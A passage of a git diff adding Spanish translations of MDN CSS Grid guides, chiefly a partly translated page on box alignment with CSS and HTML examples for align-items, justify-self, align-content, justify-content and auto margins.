+<p><span class="notranslate">Hay un par de cosas que a menudo surgen como preguntas.</span> <span class="notranslate"> Actualmente no podemos hacer cosas como apuntar a cualquier otra celda de la cuadrícula con nuestros artículos.</span> <span class="notranslate"> Es posible que ya se le haya ocurrido un problema relacionado si siguió la última guía sobre líneas con nombre en la cuadrícula.</span> <span class="notranslate"> Sería definir una regla que dijera "colocar elementos automáticamente en la siguiente línea llamada" n ", y la cuadrícula se saltaría otras líneas. Se plantea <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://github.com/w3c/csswg-drafts/issues/796&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhi1X-T_53Yxbg3lSUNap9U7hwWSnQ" rel="noopener">un problema al respecto</a> en el repositorio CSSWG GitHub, y sería bienvenido a agregue sus propios casos de uso a esto.</span></p>
+
+<p><span class="notranslate">Puede ser que se te ocurran tus propios casos de uso para la colocación automática o cualquier otra parte del diseño de la cuadrícula.</span> <span class="notranslate"> Si lo hace, créelos como problemas o agréguelos a un problema existente que podría resolver su caso de uso.</span> <span class="notranslate"> Esto ayudará a mejorar las futuras versiones de la especificación.</span></p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/es/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
new file mode 100644
index 0000000000..445cbac308
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
@@ -0,0 +1,703 @@
+---
+title: Box alignment in CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
+---
+<p>Si estás familiarizado con <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a> Entonces ya habrás encontrado la forma en que los items flexibles pueden ser alineados correctamente dentro de un contendor flex. Estas propiedades de alineación que encontramos por primera vez en la especificación de flexbox se han trasladado a una nueva especificación llamada <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Esta especificación tiene detalles de cómo debería funcionar la alineación en todos los diferentes métodos de diseño.</p>
+
+<p>Cada método de diseño que implemente Box Alignment tendrá algunas diferencias debido a que cada método tiene características y restricciones diferentes (y acciones heredadas), por lo que es imposible hacer la alineación exactamente de la misma forma en todos los ámbitos.  La especificación Box Alignment tiene detalles para cada método, sin embargo, te decepcionaría si intentaras alinear en muchos métodos en este momento, pues el soporte aún no está disponible para todos los navegadores. Donde sí tenemos soporte de navegador para las propiedades de alineación y distribución de espacio de la especificación Box Alignment es en grid layout.</p>
+
+<p><span class="seoSummary">Esta guía muestra la forma cómo funciona la alineación de cajas (box alignment) en el diseño de cuadriculas (Grid Layout). Verás mucha similitud en cómo funcionan estás propiedades y valores en flexbox.</span> Debido a que la cuadrícula (grid) es bidimensional y flexbox es unidimensional, existen algunas pequeñas diferencias con las que debes tener cuidado. Así que comenzaremos mirando los dos ejes con los que tratamos cuando alineamos cosas en una cuadricula.</p>
+
+<h2 id="Los_2_ejes_de_un_diseño_Grid">Los 2 ejes de un diseño Grid</h2>
+
+<p>Al trabajar con el diseño de cuadrícula, tienes dos ejes disponibles para alinear las cosas: el eje del bloque (block axis) y el eje en línea (inline axis).  El eje de bloque es el eje sobre el cual se disponen los bloques en el diseño del bloque. Si tienes dos párrafos en tu página, se mostrara uno debajo del otro, entonces es ésta la dirección que describimos como el eje de bloque (también llamadas columnas, eje "y", eje vertical).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15963/Block_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p>El eje en línea (inline axis) se ejecuta a través del eje del bloque, es la dirección en la que se ejecuta el texto en el flujo regular en línea (también llamadas filas, Eje "x", eje horizontal). </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14773/7_Inline_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p>Podemos alinear el contenido dentro de las áreas de la cuadrícula o rejilla , y los tracks en estos dos ejes.</p>
+
+<h2 id="Alineación_de_elementos_en_el_Eje_de_Bloque">Alineación de elementos en el Eje de Bloque </h2>
+
+<p>Las propiedades {{cssxref("align-self")}} y {{cssxref("align-items")}} controlan la alineación en el eje de bloque. Cuando usamos estas propiedades, estamos cambiando la alineación del elemento dentro del área de la cuadricula (grid) que se ha colocado.</p>
+
+<p>En el siguiente ejemplo, tengo 4 áreas dentro de mi cuadricula (grid). Puedo usar la propiedad {{cssxref("align-items")}} en el contenedor de la cuadricula (grid container), para alinear los elementos usando uno de los siguientes valores:</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<div id="alignment_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+  align-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_1', '500', '450') }}</p>
+</div>
+
+<p>Ten en mente que una vez establezcas <code>align-self: start</code>, la altura de cada hijo <code>&lt;div&gt;</code> será determinada por el contenido del <code>&lt;div&gt;</code>.  Esto está en contraste de omitir <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/align-self">align-self</a></code> completamente, en el cual la altura de cada <code>&lt;div&gt;</code> se extendería hasta llenar el área de la cuadricula.</p>
+
+<p>La propiedad {{cssxref("align-items")}} establece la propiedad {{cssxref("align-self")}} para todos los elementos hijos de la cuadricula. Esto significa que puedes establecer la propiedad individualmente, usando <code>align-self</code> en cada elemento de la cuadricula.</p>
+
+<p>En el siguiente ejemplo, estoy usando la propiedad <code>align-self</code> para demostrar los diferentes valores de alineación. La primer área está mostrando la acción por defecto de <code>align-self</code>, el cual es extenderse. El segundo elemento tiene un valor en <code>align-self</code> de <code>start</code>, el tercero <code>end</code> y el cuarto <code>center</code>.</p>
+
+<div id="alignment_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  align-self: start;
+}
+.item3 {
+  grid-area: c;
+  align-self: end;
+}
+.item4 {
+  grid-area: d;
+  align-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_2', '500', '450') }}</p>
+</div>
+
+<h3 id="Elementos_con_una_relación_de_aspecto_intrínseco">Elementos con una relación de aspecto intrínseco</h3>
+
+<p>La especificación determina que la acción por defecto en {{cssxref("align-self")}} es estirarse, excepto para los elementos que tienen una relación de aspecto intrínseco, en este caso ellos funcionan como <code>start</code>. La razón para esto, es que si elemento con una relación de aspecto intrínseco es establecido para estirarse, este por defecto pueda distorsionarlo.</p>
+
+<p>Esta acción ahora ha sido clarificada en la especificación, con navegadores aún hay que implementar la acción correcta. Hasta que eso pase, te puedes asegurar de que los elementos no se extiendan, como en imagenes, las cuales son hijos directos de la cuadricula, estableciendo {{cssxref("align-self")}} y {{cssxref("justify-self")}} al empezar. Esto se asemejará a la acción correcta una vez implementado.</p>
+
+<h2 id="Justifying_Items_on_the_Inline_Axis">Justifying Items on the Inline Axis</h2>
+
+<p>As {{cssxref("align-items")}} and {{cssxref("align-self")}} deal with the alignment of items on the block axis, {{cssxref("justify-items")}} and {{cssxref("justify-self")}} do the same job on the inline axis. The values you can choose from are the same as for <code>align-self</code>.</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>You can see the same example as used for {{cssxref("align-items")}}, below. This time we are applying the {{cssxref("justify-self")}} property.</p>
+
+<p>Once again the default is <code>stretch</code>, other than for items with an intrinsic aspect ratio. This means that by default, grid items will cover their grid area, unless you change that by setting alignment. The first item in the example demonstrates this default alignment:</p>
+
+<div id="alignment_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  justify-self: start;
+}
+.item3 {
+  grid-area: c;
+  justify-self: end;
+}
+.item4 {
+  grid-area: d;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_3', '500', '450') }}</p>
+</div>
+
+<p>As with {{cssxref("align-self")}} and {{cssxref("align-items")}}, you can apply {{cssxref("justify-items")}} to the grid container, to set the {{cssxref("justify-self")}} value for all items.</p>
+
+<p>The {{cssxref("justify-self")}} and {{cssxref("justify-items")}} properties are not implemented in flexbox. This is due to the one-dimensional nature of <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, and that there may be multiple items along the axis, making it impossible to justify a single item. To align items along the main, inline axis in flexbox you use the {{cssxref("justify-content")}} property.</p>
+
+<h2 id="Center_an_item_in_the_area">Center an item in the area</h2>
+
+<p>By combining the align and justify properties we can easily center an item inside a grid area.</p>
+
+<div id="alignment_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 200px;
+  grid-template-areas:
+    ". a a ."
+    ". a a .";
+}
+.item1 {
+  grid-area: a;
+  align-self: center;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_4', '500', '480') }}</p>
+</div>
+
+<h2 id="Aligning_the_grid_tracks_on_the_block_axis">Aligning the grid tracks on the block axis</h2>
+
+<p>If you have a situation where your grid tracks use an area that is smaller than the grid container, then you can align the grid tracks themselves, inside that container. Once again, this operates on the block and inline axes, with {{cssxref("align-content")}} aligning tracks on the block axis, and {{cssxref("justify-content")}} performing alignment on the inline axis. The values for {{cssxref("align-content")}} and {{cssxref("justify-content")}} are:</p>
+
+<ul>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>In the below example I have a grid container of 500 pixels by 500 pixels. I have defined 3 row and column tracks each of 100 pixels with a 10 pixel gutter. This means that there is space inside the grid container both in the block and inline directions.</p>
+
+<p>The <code>align-content</code> property is applied to the grid container as it works on the entire grid. The default behavior in grid layout is <code>start</code>, which is why our grid tracks are in the top left corner of the grid, aligned against the start grid lines:</p>
+
+<div id="alignment_5">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_5', '500', '520') }}</p>
+
+<p>If I add <code>align-content</code> to my container, with a value of <code>end</code>, the tracks all move to the end line of the grid container in the block dimension:</p>
+</div>
+
+<div id="alignment_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: end;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_6', '500', '520') }}</p>
+</div>
+
+<p>We can also use values for this property that you may be familiar with from flexbox; the space distribution values of <code>space-between</code>, <code>space-around</code> and <code>space-evenly</code>. If we update {{cssxref("align-content")}} to <code>space-between</code>, you can see how the elements on our grid space out:</p>
+
+<div id="alignment_7">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_7', '500', '520') }}</p>
+</div>
+
+<p>It is worth noting, that using these space distribution values may cause items on your grid to become larger. If an item spans more than one grid track, as further space is added between the tracks, that item needs to become large to absorb the space. We’re always working in a strict grid. Therefore, if you decide to use these values, ensure that the content of your tracks can cope with the extra space, or that you have used alignment properties on the items, to cause them to move to the start rather than stretch.</p>
+
+<p>In the below image I have placed the grid with <code>align-content</code>, with a value of <code>start</code> alongside the grid when <code>align-content</code> has a value of <code>space-between</code>. You can see how items 1 and 2, which span two row tracks have taken on extra height as they gain the additional space added to the gap between those two tracks:</p>
+
+<p><img alt="Demonstrating how items become larger if we use space-between." src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p>
+
+<h2 id="Justifying_the_grid_tracks_on_the_row_axis">Justifying the grid tracks on the row axis</h2>
+
+<p>On the inline axis, we can use {{cssxref("justify-content")}} to perform the same type of alignment that we used {{cssxref("align-content")}} for in the block axis.</p>
+
+<p>Using the same example, I am setting {{cssxref("justify-content")}} to <code>space-around</code>. This once again causes tracks which span more than one column track to gain extra space:</p>
+
+<div id="alignment_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-content: space-around;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_8', '500', '500') }}</p>
+</div>
+
+<h2 id="Alignment_and_auto_margins">Alignment and auto margins</h2>
+
+<p>Another way to align items inside their area, is to use auto margins. If you have ever centered your layout in the viewport, by setting the right and left margin of the container block to <code>auto</code>, you know that an auto margin absorbs all of the available space. By setting the margin to <code>auto</code> on both sides, it pushes the block into the middle as both margins attempt to take all of the space.</p>
+
+<p>In this next example, I have given item 1 a left margin of <code>auto</code>. You can see how the content is now pushed over to the right side of the area, as the auto margin takes up remaining space, after room for the content of that item has been assigned:</p>
+
+<div id="alignment_9">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+  margin-left: auto;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_9', '500', '500') }}</p>
+</div>
+
+<p>You can see how the item is aligned by using the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>:</p>
+
+<p><img alt="Image showing auto-margins using the Grid Highlighter." src="https://mdn.mozillademos.org/files/14731/7_auto_margins.png" style="height: 1000px; width: 1000px;"></p>
+
+<h2 id="Alignment_and_Writing_Modes">Alignment and Writing Modes</h2>
+
+<p>In all of these examples I have been working in English, which is a left-to-right language. This means that our start lines are top and left of our grid when thinking in physical directions.</p>
+
+<p>CSS Grid Layout, and the Box Alignment specification are designed to work with writing modes in CSS. This means that if you are working in a right to left language, such as Arabic, the start of the grid would be the top and right, so the default of <code>justify-content: start</code> would be for grid tracks to start on the right hand side of the grid.</p>
+
+<p>Setting auto margins, using <code>margin-right</code> or <code>margin-left</code> however, or absolutely positioning items using the <code>top</code>, <code>right</code>, <code>bottom</code> and <code>left</code> offsets would not honor writing modes. In the next guide, we will look further into this interaction between CSS grid layout, box alignment and writing modes. This will be important to understand, if you develop sites that are then displayed in multiple languages, or if you want to mix languages or writing modes in a design.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
